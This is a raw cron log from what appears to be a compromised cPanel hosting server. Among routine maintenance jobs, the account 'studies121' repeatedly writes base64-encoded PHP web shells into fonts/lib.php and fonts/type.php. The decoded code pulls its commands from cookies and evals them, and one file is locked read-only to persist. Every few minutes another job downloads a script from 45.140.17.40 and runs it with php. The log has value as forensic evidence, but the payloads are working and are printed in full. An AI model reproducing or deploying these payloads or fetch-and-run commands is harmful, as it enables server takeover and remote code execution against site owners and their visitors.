Sep 20 20:23:01 ip-184-168-122-23 CROND[31596]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 20:24:01 ip-184-168-122-23 CROND[31834]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 20:24:01 ip-184-168-122-23 CROND[31836]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 20:24:01 ip-184-168-122-23 CROND[31837]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 20:24:01 ip-184-168-122-23 CROND[31835]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 20:24:01 ip-184-168-122-23 CROND[31839]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 20:25:01 ip-184-168-122-23 CROND[32075]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 20:25:01 ip-184-168-122-23 CROND[32076]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 20:25:01 ip-184-168-122-23 CROND[32082]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 20:25:01 ip-184-168-122-23 CROND[32086]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 20:25:01 ip-184-168-122-23 CROND[32090]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 20:25:01 ip-184-168-122-23 CROND[32089]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 20:25:01 ip-184-168-122-23 CROND[32088]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep 20 20:26:01 ip-184-168-122-23 CROND[32384]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 20:26:01 ip-184-168-122-23 CROND[32383]: (root) CMD (/usr/local/installatron/lib/cron.updater.sh)
Sep 20 20:26:01 ip-184-168-122-23 CROND[32385]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 20:26:01 ip-184-168-122-23 CROND[32386]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 20:26:01 ip-184-168-122-23 CROND[32391]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 20:26:01 ip-184-168-122-23 CROND[32389]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 20:27:01 ip-184-168-122-23 crond[671]: (aromaskitchen) ORPHAN (no passwd entry)
Sep 20 20:27:01 ip-184-168-122-23 crond[671]: (jonessimon) ORPHAN (no passwd entry)
Sep 20 20:27:01 ip-184-168-122-23 CROND[32710]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 20:27:01 ip-184-168-122-23 CROND[32712]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 20:27:01 ip-184-168-122-23 CROND[32711]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 20:27:01 ip-184-168-122-23 CROND[32713]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 20:28:02 ip-184-168-122-23 CROND[482]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 20:28:02 ip-184-168-122-23 CROND[486]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 20:28:02 ip-184-168-122-23 CROND[484]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 20:28:02 ip-184-168-122-23 CROND[485]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 20:28:02 ip-184-168-122-23 CROND[487]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 20:29:01 ip-184-168-122-23 CROND[709]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 20:29:01 ip-184-168-122-23 CROND[712]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 20:29:01 ip-184-168-122-23 CROND[715]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 20:29:01 ip-184-168-122-23 CROND[718]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 20:30:01 ip-184-168-122-23 CROND[969]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 20:30:01 ip-184-168-122-23 CROND[973]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 20 20:30:01 ip-184-168-122-23 CROND[971]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 20:30:01 ip-184-168-122-23 CROND[974]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 20:30:01 ip-184-168-122-23 CROND[975]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 20:30:01 ip-184-168-122-23 CROND[977]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep 20 20:30:01 ip-184-168-122-23 CROND[972]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 20:30:01 ip-184-168-122-23 CROND[970]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 20:30:01 ip-184-168-122-23 CROND[978]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 20:31:01 ip-184-168-122-23 CROND[1245]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 20:31:01 ip-184-168-122-23 CROND[1246]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 20 20:31:01 ip-184-168-122-23 CROND[1247]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 20:31:01 ip-184-168-122-23 CROND[1248]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 20:31:01 ip-184-168-122-23 CROND[1249]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 20:32:02 ip-184-168-122-23 CROND[1605]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 20:32:02 ip-184-168-122-23 CROND[1607]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 20:32:02 ip-184-168-122-23 CROND[1609]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 20:32:02 ip-184-168-122-23 CROND[1608]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 20:32:02 ip-184-168-122-23 CROND[1610]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 20:33:01 ip-184-168-122-23 CROND[1706]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 20:33:01 ip-184-168-122-23 CROND[1708]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 20:33:01 ip-184-168-122-23 CROND[1709]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 20:33:01 ip-184-168-122-23 CROND[1707]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 20:34:01 ip-184-168-122-23 CROND[1959]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 20:34:01 ip-184-168-122-23 CROND[1960]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 20:34:01 ip-184-168-122-23 CROND[1962]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 20:34:01 ip-184-168-122-23 CROND[1965]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 20:34:01 ip-184-168-122-23 CROND[1964]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 20:35:01 ip-184-168-122-23 CROND[2185]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 20:35:01 ip-184-168-122-23 CROND[2186]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 20:35:01 ip-184-168-122-23 CROND[2188]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
